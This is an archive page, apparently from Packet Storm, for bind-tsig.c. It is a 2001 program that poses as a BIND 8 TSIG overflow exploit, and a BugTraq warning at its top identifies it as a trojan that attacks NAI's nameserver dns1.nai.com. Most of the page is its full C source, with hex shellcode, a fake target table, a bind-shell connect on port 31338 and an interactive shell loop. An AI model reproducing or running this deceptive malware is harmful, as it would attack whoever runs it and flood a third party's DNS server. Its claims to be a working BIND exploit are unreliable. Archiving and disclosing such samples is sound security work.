exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

bind-tsig.c

bind-tsig.c
Posted Feb 1, 2001
Authored by anonymous

Bind-tsig.c is a trojan which pretends to be a Bind 8 exploit, but actually attacks dns1.nai.com.

tags | exploit, trojan
SHA-256 | 10c2b4ca2df782e81fa88f0f3754c17edbda8d021f0e95790037e92d99e82698

bind-tsig.c

Change Mirror Download
/*

To: BugTraq
Subject: Bind 8 Exploit - Trojan
Date: Wed Jan 31 2001 19:09:33
Author: Matt Lewis < matt@ninjas.org >

The Bind 8 Exploit sent to bugtraq users by "nobody@replay.com" is a
The Bind 8 Exploit sent to bugtraq users by "nobody@replay.com" is a
Trojan, as I'm sure many have found out at this point.

It attacks dns1.nai.com, and I haven't researched it extensively yet,
wanted to get this out. There's quite possibly other things going on as
well, locally.

I straced it and got odd results, the last time I ran it, it didn't
launch the attack. Shellcode analyzation would be required here.

How did this get approved, did anyone test it or review it?

You can see the IP address for dns1.nai.com listed in the shellcode
included with the file. It forks off many copies of itself and violently
attacks NAI's nameserver.

I sent this out hastily, so forgive any mistakes made beyond the
original observation of the attack.

-Matt Lewis
*/

/*
* Implements TSIG buffer mismanagement overflow for incorrect signatures. That
* one was really nice bug!
* Thanks NAI for nice bug!
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>

#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif

#define SHELL_OFFSET_1 26
#define SHELL_OFFSET_2 31
#define BIND_PKT_OFF 26 /* offset from beginning of packet */
#define BIND_OKT_SZ 14 /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

char dns_packet[] =
/* TSIG bind req, \xe8 used as field separator. */
"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";

/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
* bind to tcp port 31338. hey aleph1
* :) */
"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";

char bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";

struct remote {
char *osname;
char *bindver;
unsigned long ret; /* return addr */
unsigned long otebp; /* offset ot %ebp,bind specific */
char *shellcode;
} remote[] = {
{
"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
},
{
"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
},
{
"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
},
{
"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
},
{
"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
},
{
"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
},
{
"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
},
{
"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
},
{
NULL, NULL, 0, 0
}
};

void
usage_func(char *pname)
{
int i;

fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
fprintf(stderr, "Targets:\n");
for (i = 0; remote[i].osname; i++)
fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[
i].bindver);
fprintf(stderr, "\n");
fprintf(stderr, " Example usage:\n");
fprintf(stderr, "$ host -t ns domain.com\n");
fprintf(stderr, "domain.com name server dns1.domain.com\n");
fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
fprintf(stderr, " [..expl output..]\n\n");
exit(1);
}


int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;

memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(&copy_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}

unsigned long
Resolve(char *h)
{
struct in_addr q;
struct hostent *z;

if ((inet_aton(h, &q)) == 0) {
z = gethostbyname(h);

if (!z)
return -1;

(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
}
return q.s_addr;
}

/* pull out a compressed query name */
char *
dnsprintflabel(char *s, char *buf, char *p)
{
unsigned short i, len;
char *b = NULL;
len = (unsigned short) *(p++);
i = len + BIND_PKT_OFF;
/* invalid length? */
if (i)
return NULL;
while (len) {
while (len >= 0xC0) {
if (!b)
b = p + 1;
p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC0
00);
len = (unsigned short) *(p++);
}
for (i = 0; i < len; i++)
*(s++) = *(p++);
*(s++) = '.';
len = (unsigned short) *(p++);
}
*(s++) = 0;
if (b)
return (b);
return (p);
}

int
proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
sleep(1);
printf("Entering proxyloop..\n");
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(s, snd, strlen(snd));
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0) {
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}

int
main(int argc, char *argv[])
{
HEADER *dnsheader;
struct sockaddr_in to;
char expl_buffer[PACKETSZ + 8192];
int off, i, x;
char ch, *remote_addr = NULL, *dmn = NULL;
char *walker;
unsigned char *shellcode;
int align = 0;
unsigned long remote_ip, addr;
int saved_len_1, saved_len_2;
int type = -1;
int fd, fd2;

if (argc != 4) {
usage_func(argv[0]);
}
dmn = strdup(argv[1]);
remote_addr = strdup(argv[2]);
type = atoi(argv[3]);

if (type < 0 || !remote_addr || !dmn) {
usage_func(argv[0]);
}
printf(" [+] Trying to resolve %s ...\n", remote_addr);
remote_ip = Resolve(remote_addr);

if (remote_ip == -1) {
fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
exit(1);
} else {
printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
}
/* block signal to allow these signals in bindshell */
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* well.. */
signal(SIGINT, SIG_IGN);

printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn
);
printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].r
et, remote[type].otebp);
shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
memset(shellcode, 0x90, PACKETSZ);

addr = remote[type].ret;

for (i = 0; i < sizeof(dns_packet); i++)
shellcode[i] = dns_packet[i];

if (i > 0) {
saved_len_1 = i;
}
for (x = 0; x < sizeof(linux_shellcode); i++, x++)
shellcode[i] = linux_shellcode[x];

if (i) {
saved_len_2 = i;
}
for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
shellcode[i] = bsd_shellcode[x];

/* encode offset */
addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_2] = (addr) & 0xff;

printf(" [+] shellcode length: %d\n", i);
/*
* now build packet
* set pointer to itself. dont modify BIND_OFF_02, it was
* bruteforced.. and worked with every bind i sploited.
*/
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
/* setup tsig info */
set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
/* count of records */
if (i > (SHELL_OFFSET_2 - 10)) {
set_ptr(shellcode, BIND_OFF_03, i, 0);
} else {
i += (SHELL_OFFSET_2 / 2);
i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
set_ptr(shellcode, BIND_OFF_03, i, 0);
}
/* store return ADDR !! */
set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].ot
ebp), 0);

/* copy and rebuild packet depended stuff */
memcpy(expl_buffer, shellcode, PACKETSZ);
dnsheader = (HEADER *) & expl_buffer;
memset(dnsheader, 0, sizeof(HEADER));
dnsheader->id = htons(getpid());
dnsheader->qr = 1;
dnsheader->aa = 1;
/* tsig query! */
dnsheader->opcode = QUERY;
dnsheader->qdcount = htons(1);
dnsheader->arcount = htons(1);
/*
* encode packet ...
*/
dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (c
har *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
PUTSHORT(T_SIG, walker);

/*
* packet is built, connect and sent shellcode. what can be easier?
* :)
*/
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(1);
}
memset(&to, 0, sizeof(to));
to.sin_family = AF_INET;
to.sin_port = htons(53);
to.sin_addr.s_addr = remote_ip;

if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, si
zeof(struct sockaddr)) != PACKETSZ)) {
perror("sendto");
exit(1);
}
/* attempt to connect to bindshell on port 31338 */

if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* linux & freebsd shellcodes bindport is same, so dont even check. */
to.sin_port = htons(31338);

if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0
) {
perror("connect");
exit(1);
}
proxyloop(fd2);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close